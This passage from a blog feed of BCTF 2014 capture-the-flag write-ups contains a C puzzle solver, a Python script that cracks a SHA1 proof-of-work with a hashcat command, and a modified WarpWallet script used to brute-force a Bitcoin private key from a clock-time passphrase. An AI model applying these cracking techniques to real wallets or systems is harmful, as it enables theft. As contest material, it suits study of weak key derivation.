ops\[x\]\[t\]=z.s;anss\[x\]\[t\]=now;</span><br><span class="line">                    q.push(a);</span><br><span class="line"><span class="comment">//                  bin2str(x,t);</span></span><br><span class="line"><span class="comment">//                  x=check(x,t,now);</span></span><br><span class="line"><span class="comment">//                  printf("%dn",now);</span></span><br><span class="line"><span class="comment">//                  bin2str(x,t);</span></span><br><span class="line">              &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">solve</span><span class="params">(<span class="keyword">int</span> s,<span class="keyword">int</span> p)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">     <span class="keyword">if</span>(sta\[s\]\[p\]==<span class="number">0</span>) </span><br><span class="line">     &#123;</span><br><span class="line">    <span class="comment">//    bin2str(s,p);</span></span><br><span class="line">        <span class="comment">// //if(judge(s,p))printf("11111n");</span></span><br><span class="line">         <span class="keyword">return</span>;</span><br><span class="line">     &#125;</span><br><span class="line"><span class="comment">//   bin2str(s,p);</span></span><br><span class="line">     <span class="built_in">printf</span>(<span class="string">"%dn"</span>,anss\[s\]\[p\]+<span class="number">1</span>);</span><br><span class="line">     solve(ops\[s\]\[p\],opp\[s\]\[p\]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="comment">//  freopen("E:\\in.txt","r",stdin);</span></span><br><span class="line"><span class="comment">//  freopen("E:\\out.txt","w",stdout);</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">char</span> str\[<span class="number">22</span>\];</span><br><span class="line">    gets(str);</span><br><span class="line">    <span class="comment">//printf("%sn",str);</span></span><br><span class="line">    len=<span class="built_in">strlen</span>(str);</span><br><span class="line">    <span class="keyword">int</span> s=<span class="number">0</span>,p;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i=<span class="number">0</span>;i&lt;len;i++)</span><br><span class="line">    &#123;</span><br><span class="line">          <span class="keyword">if</span>(str\[i\]==<span class="string">' '</span>) p=i;</span><br><span class="line">          <span class="keyword">else</span> <span class="keyword">if</span>(str\[i\]==<span class="string">'R'</span>) s|=(<span class="number">1</span>&lt;&lt;i);</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//  printf("%d %dn",s,p);</span></span><br><span class="line"><span class="comment">//  int now=8;</span></span><br><span class="line"><span class="comment">//  s=check(s,p,now);</span></span><br><span class="line"><span class="comment">//  bin2str(s,p);</span></span><br><span class="line">    bfs();</span><br><span class="line"><span class="comment">//  printf("%dn",sta\[s\]\[p\]);</span></span><br><span class="line">    solve(s,p);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>后来我写的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//ROIS_yufan</span></span><br><span class="line"><span class="comment">//BCTF_crypto400</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdio.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"string.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> czInput\[<span class="number">20</span>\];</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span> len = <span class="number">16</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">PrintQueue</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">//printf("%sn", czInput);</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">PrintRst</span><span class="params">(<span class="keyword">int</span> rst)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"%dn"</span>, rst + <span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ShiftSpace</span><span class="params">(<span class="keyword">int</span> iWhere)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> iSpace;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (iSpace = <span class="number">0</span>; iSpace &lt; len; iSpace++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (czInput\[iSpace\] == <span class="string">' '</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (iSpace &lt; iWhere)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">while</span> (iSpace != iWhere)</span><br><span class="line">        &#123;</span><br><span class="line">            iSpace++;</span><br><span class="line">            PrintRst(iSpace);</span><br><span class="line">            czInput\[iSpace - <span class="number">1</span>\] = czInput\[iSpace\];</span><br><span class="line">            czInput\[iSpace\] = <span class="string">' '</span>;</span><br><span class="line">            PrintQueue();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (iSpace &gt; iWhere)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">while</span> (iSpace != iWhere)</span><br><span class="line">        &#123;</span><br><span class="line">            iSpace--;</span><br><span class="line">            PrintRst(iSpace);</span><br><span class="line">            czInput\[iSpace + <span class="number">1</span>\] = czInput\[iSpace\];</span><br><span class="line">            czInput\[iSpace\] = <span class="string">' '</span>;</span><br><span class="line">            PrintQueue();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">RoolL</span><span class="params">(<span class="keyword">int</span> curL)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (curL &gt; <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        ShiftSpace(curL + <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//最左的L特例</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        ShiftSpace(curL + <span class="number">2</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SwapToRight</span><span class="params">(<span class="keyword">int</span> iSpace)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">//最左的L特例</span></span><br><span class="line">    <span class="keyword">if</span> (iSpace == <span class="number">1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        iSpace++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    PrintRst(iSpace - <span class="number">2</span>);</span><br><span class="line">    czInput\[iSpace\] = czInput\[iSpace - <span class="number">2</span>\];</span><br><span class="line">    czInput\[iSpace - <span class="number">2</span>\] = <span class="string">' '</span>;</span><br><span class="line">    PrintQueue();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    gets(czInput);</span><br><span class="line">    <span class="keyword">int</span> i;</span><br><span class="line">    <span class="keyword">for</span> (i = len - <span class="number">1</span>; i &gt;= <span class="number">0</span>; i--)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (czInput\[i\] != <span class="string">'L'</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">for</span> (<span class="keyword">int</span> j = i - <span class="number">1</span>; j &gt;= <span class="number">0</span>; j--)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="keyword">if</span> (czInput\[j\] == <span class="string">'L'</span>)</span><br><span class="line">                &#123;</span><br><span class="line">                    RoolL(j);</span><br><span class="line">                    SwapToRight(j + <span class="number">1</span>);</span><br><span class="line">                    i = len;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; len; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (czInput\[i\] == <span class="string">' '</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            PrintRst(i + <span class="number">1</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后写个脚本玩游戏就好啦。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python  </span></span><br><span class="line"><span class="comment">#\-\*\- coding:utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">BCTF_crypto300</span></span><br><span class="line"><span class="string">ROIS_yufan</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> base64,binascii,zlib</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> re, socket</span><br><span class="line"></span><br><span class="line">command = <span class="string">'cudaHashcat64 --custom-charset1 ?l?u?d -m 100 -a 3 "+result+" "+base+"?1?1?1?1"'</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(result, base)</span>:</span></span><br><span class="line">    f = os.popen(<span class="string">"oclHashcat-1.01cudaHashcat64.exe --custom-charset1 ?l?u?d -m 100 -a 3 "</span>+result+<span class="string">" "</span>+base+<span class="string">"?1?1?1?1"</span>);</span><br><span class="line">    <span class="keyword">return</span> f.read()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getrst</span><span class="params">(str, result, base)</span>:</span></span><br><span class="line">    partten = re.compile(result + <span class="string">r':('</span>+base+<span class="string">'....'</span>+<span class="string">')'</span>)</span><br><span class="line">    <span class="keyword">return</span> str\[str.find(result)+<span class="number">41</span>:str.find(result)+<span class="number">61</span>\]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line">    HOST = <span class="string">'218.2.197.242'</span>    <span class="comment"># The remote host</span></span><br><span class="line">    PORT = <span class="number">6000</span>              <span class="comment"># The same port as used by the server</span></span><br><span class="line">    s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)</span><br><span class="line">    s.connect((HOST, PORT))</span><br><span class="line">    <span class="keyword">print</span> s.recv(<span class="number">1024</span>)</span><br><span class="line">    strrecv = s.recv(<span class="number">1024</span>)</span><br><span class="line">    <span class="keyword">print</span> strrecv</span><br><span class="line">\<span class="comment">#    strrecv = 'SHA1("5kEQPr0sul1aWUBb" + X).hexdigest() == "952792a53660aac0cc4d9eb1277f9b00d0ebf48c", X is a string of alphanumeric'</span></span><br><span class="line">    partten = re.compile(<span class="string">r'SHA1("(.*)" '</span>)</span><br><span class="line">    base = partten.findall(strrecv)\[<span class="number">0</span>\]</span><br><span class="line">    partten = re.compile(<span class="string">r'== "(.*)"'</span>)</span><br><span class="line">    result = partten.findall(strrecv)\[<span class="number">0</span>\]</span><br><span class="line">    <span class="keyword">print</span> base</span><br><span class="line">    <span class="keyword">print</span> result</span><br><span class="line">\<span class="comment">#    result = '848656a9e7f76052e8a73d42d17ec02400732e06'</span></span><br><span class="line">\<span class="comment">#    base = 'rVYQ76B4IJdCzy8m'</span></span><br><span class="line">    rst = getrst(run(result, base), result, base)</span><br><span class="line">    <span class="keyword">print</span> rst</span><br><span class="line">    s.sendall(rst\[<span class="number">-4</span>:\]+<span class="string">'n'</span>)</span><br><span class="line">    <span class="keyword">print</span> s.recv(<span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>):</span><br><span class="line">        strrecv = s.recv(<span class="number">1024</span>)</span><br><span class="line">        <span class="keyword">print</span> repr(strrecv)</span><br><span class="line">        pattern = re.compile(<span class="string">r'\[LR \]+n'</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> pattern.search(strrecv):</span><br><span class="line">            strrecv = s.recv(<span class="number">1024</span>)</span><br><span class="line">        strrecv = pattern.findall(strrecv)\[<span class="number">0</span>\]</span><br><span class="line">        <span class="keyword">print</span> strrecv</span><br><span class="line">        f = os.popen(<span class="string">"c4.exe "</span>+strrecv.replace(<span class="string">' '</span>, <span class="string">'*'</span>))</span><br><span class="line">        <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">            <span class="keyword">print</span> repr(line)</span><br><span class="line">            s.sendall(line)</span><br><span class="line">            strrecv = s.recv(<span class="number">1024</span>)</span><br><span class="line">    <span class="comment">#        pattern = re.compile(r'\[LR \]+n')</span></span><br><span class="line">    <span class="comment">#        strrecv = pattern.findall(strrecv)\[0\]</span></span><br><span class="line">            <span class="keyword">print</span> strrecv</span><br><span class="line"></span><br><span class="line">    <span class="keyword">print</span> s.recv(<span class="number">1024</span>)</span><br><span class="line">\<span class="comment">#    while len(strrecv):</span></span><br><span class="line">\<span class="comment">#        input = raw_input()</span></span><br><span class="line">\<span class="comment">#        s.sendall(input+'n')</span></span><br><span class="line">\<span class="comment">#        strrecv = s.recv(1024)</span></span><br><span class="line">\<span class="comment">#        pattern = re.compile(r'\[LR \]+n')</span></span><br><span class="line">\<span class="comment">#        strrecv = pattern.findall(strrecv)\[0\]</span></span><br><span class="line">\<span class="comment">#        print strrecv</span></span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> \_\_name\_\_ == <span class="string">'\_\_main\_\_'</span>:</span><br><span class="line"></span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p><img src="http://img.blog.csdn.net/20140312162923125?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQveXVmYW5waQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast" alt></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;地铁难挤: 400 描述&lt;/p&gt;
&lt;p&gt;米特尼克需要用社工办法 拿到THU安全专家的磁盘镜像以了解更多信息，于是他收买了THU专家的博士生，来到BJ市需要与博士生当面联系。但是，来到BJ市之后遇到的第一个问题 就是交通。BJ市人满为患，上下地铁时人们也不先下后上，而是互相挤
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="bctf" scheme="https://blog.eadom.net/tags/bctf/"/>
    
  </entry>
  
  <entry>
    <title>BCTF2014线上赛crypto300比特币钱包writeup</title>
    <link href="https://blog.eadom.net/writeups/bctf2014-crypto300-writeup/"/>
    <id>https://blog.eadom.net/writeups/bctf2014-crypto300-writeup/</id>
    <published>2014-04-02T07:27:26.000Z</published>
    <updated>2025-11-21T12:45:50.764Z</updated>
    
    <content type="html"><![CDATA[<p>比特币钱包: 300 描述</p><p>来到中国后，米特尼克 身无分文了，怎样赚一大笔钱以备不时之需呢？比特币的爆发引起了他的注意。FBI 从丝绸之路缴获的大量比特币成了他的目标，他也想借此机会嘲笑一下 FBI。不费吹灰之力，他就搞定了这笔比特币巨款。你知道他是怎么搞定的吗？<a href="http://bctf.cn/files/downloads" target="_blank" rel="noopener">http://bctf.cn/files/downloads</a> /robotum_9332cfdb5e503889e24e757d962a7454.html</p><p>提示</p><p>1. 机器人的眼睛是一个时钟，时钟是会走的阿，亲！2. 要做出此题，请先研究清楚比特币地址签名机制和 warpwallet 的用途3. 邮件发送格式说明，邮件内容那一行千万别写中文，verify 的部分不包含首尾的空格和回车(也就是 strip)，下面的 signature 是 base64 串，可以使用 bitcoin-qt 客户端进行 sign 和 verify message 来验证   <a href="http://bctf.cn/files/downloads/robotum_9332cfdb5e503889e24e757d962a7454.html内容如下" target="_blank" rel="noopener">http://bctf.cn/files/downloads/robotum_9332cfdb5e503889e24e757d962a7454.html内容如下</a> <img src="http://img.blog.csdn.net/20140313121323171?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQveXVmYW5waQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast" alt></p><p>嘿！你们好！</p><p>我是 FBI 的比特币守护机器人，我的地址是 <a href="mailto:robotum.ctf@gmail.com" target="_blank" rel="noopener">robotum.ctf@gmail.com</a>, 我正在守护着 FBI 的一个重要比特币地址 1Atk95NnaQDiegEkqjJvg6c2KkJbSr2BEL （听说里面有很多钱！）。</p><p>你们知道吗？最近我学会了使用 Warpwallet，它既简单，又强大，还易于使用。哈哈！你们肯定没法猜到我的密钥是什么，不要偷窥哦。</p><p>好了，如果我的主人想取回存储在我这里的机密信息的话，只需要向我发送邮件就可以了。当然，邮件要使用这个重要比特币地址来签名，另外，你还要告诉我你想要取什么东西，只有让我验证通过了我才能告诉你。</p><p>为了避免忘记，我再重复一遍邮件的格式。</p><p>—–BEGIN BITCOIN SIGNED MESSAGE—–<br>这里写邮件的内容啦！<br>—–BEGIN SIGNATURE—–<br>这里是签名串<br>—–END BITCOIN SIGNED MESSAGE—–</p><p>祝你们好运！</p><p>这道题完全是靠第一个提示做出来的。。。 在那个网页中发现机器人用的是Warpwallet，于是先google下 <a href="https://keybase.io/warp/warp_1.0.6_SHA256_e68d4587b0e2ec34a7b554fbd1ed2d0fedfaeacf3e47fbb6c5403e252348cbfc.html" target="_blank" rel="noopener">https://keybase.io/warp/warp_1.0.6_SHA256_e68d4587b0e2ec34a7b554fbd1ed2d0fedfaeacf3e47fbb6c5403e252348cbfc.html</a> 这个是通过Warpwallet用Passphrase和salt生产比特币地址(公钥)和private key 同时还有相关算法的说明   推 测salt应该就是那个机器人的email，那passphrase呢。。。看第一个提示，猜测是个时间然后就用这个算法找碰撞。。。一开始只从时钟上的 时间试到12点，没跑出来，后面把所有时间都跑了。。结果出了结果20:20，然后就能跑出他的private key啦   算法的代码是github上来的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line">\<span class="comment"># Author: patricklundquist@gmail.com</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line">\<span class="comment"># Description: Implements the WarpWallet algorithm as descibed below:</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line">\<span class="comment"># s1 = scrypt(key=(passphrase||0x1), salt=(salt||0x1), N=2^18, r=8, p=1, dkLen=32)</span></span><br><span class="line">\<span class="comment"># s2 = pbkdf2(key=(passphrase||0x2), salt=(salt||0x2), c=2^16, dkLen=32, prf=HMAC_SHA256)</span></span><br><span class="line">\<span class="comment"># keypair = generate\_bitcoin\_keypair(s1 xor s2)</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#modified by ROIS_yufan for BCTF2013 crypto300</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> binascii</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> scrypt</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> passlib.utils <span class="keyword">import</span> pbkdf2</span><br><span class="line"><span class="keyword">from</span> pycoin <span class="keyword">import</span> ecdsa, encoding</span><br><span class="line"><span class="keyword">from</span> pycoin.ecdsa <span class="keyword">import</span> secp256k1</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">WarpWallet</span><span class="params">(object)</span>:</span></span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">def</span> \<span class="title">_</span>\<span class="title">_init</span>\<span class="title">_</span>\<span class="title">_</span><span class="params">(self, pbkdf2\_count, derived\_key\_len, scrypt\_power, scrypt_p,</span></span></span><br><span class="line"><span class="function"><span class="params">               scrypt_r)</span>:</span></span><br><span class="line">    self.dklen = derived\_key\_len</span><br><span class="line">    self.pbkdf2\_count = pbkdf2\_count</span><br><span class="line">    self.scrypt\_power = scrypt\_power</span><br><span class="line">    self.scrypt\_r = scrypt\_r</span><br><span class="line">    self.scrypt\_p = scrypt\_p</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">def</span> <span class="title">warp</span><span class="params">(self, passphrase, salt=<span class="string">""</span>)</span>:</span></span><br><span class="line">    <span class="string">"""</span></span><br><span class="line"><span class="string">    Return dictionary of WarpWallet public and private keys corresponding to</span></span><br><span class="line"><span class="string">    the given passphrase and salt.</span></span><br><span class="line"><span class="string">    """</span></span><br><span class="line">    s1 = binascii.hexlify(self._scrypt(passphrase, salt))</span><br><span class="line">    out = self._pbkdf2(passphrase, salt)</span><br><span class="line">    s2 = binascii.hexlify(out)</span><br><span class="line">    base = binascii.unhexlify(s1)</span><br><span class="line">    s3 = binascii.hexlify(self._sxor(base,out))</span><br><span class="line">    secret_exponent = int(s3, <span class="number">16</span>)</span><br><span class="line">    public\_pair = ecdsa.public\_pair\_for\_secret\_exponent(secp256k1.generator\_secp256k1, secret_exponent)</span><br><span class="line">    <span class="comment">#private\_key = encoding.secret\_exponent\_to\_wif(secret_exponent, compressed=False)</span></span><br><span class="line">    public\_key = encoding.public\_pair\_to\_bitcoin\_address(public\_pair, compressed=<span class="literal">False</span>)</span><br><span class="line">    out = public_key</span><br><span class="line">    <span class="keyword">return</span> out</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">def</span> <span class="title">_scrypt</span><span class="params">(self, passphrase, salt=<span class="string">""</span>)</span>:</span></span><br><span class="line">    scrypt_key = passphrase + <span class="string">"x01"</span></span><br><span class="line">    scrypt_salt = salt + <span class="string">"x01"</span></span><br><span class="line">    out = scrypt.hash(scrypt\_key, scrypt\_salt, N=<span class="number">2</span>**self.scrypt_power,</span><br><span class="line">                      r=self.scrypt\_r, p=self.scrypt\_p, buflen=self.dklen)</span><br><span class="line">    <span class="keyword">return</span> out</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">def</span> <span class="title">_pbkdf2</span><span class="params">(self, passphrase, salt=<span class="string">""</span>)</span>:</span></span><br><span class="line">    hexlified_key = binascii.hexlify(passphrase) + <span class="string">"02"</span></span><br><span class="line">    pbkdf2\_key = binascii.unhexlify(hexlified\_key)</span><br><span class="line">    hexlified_salt = 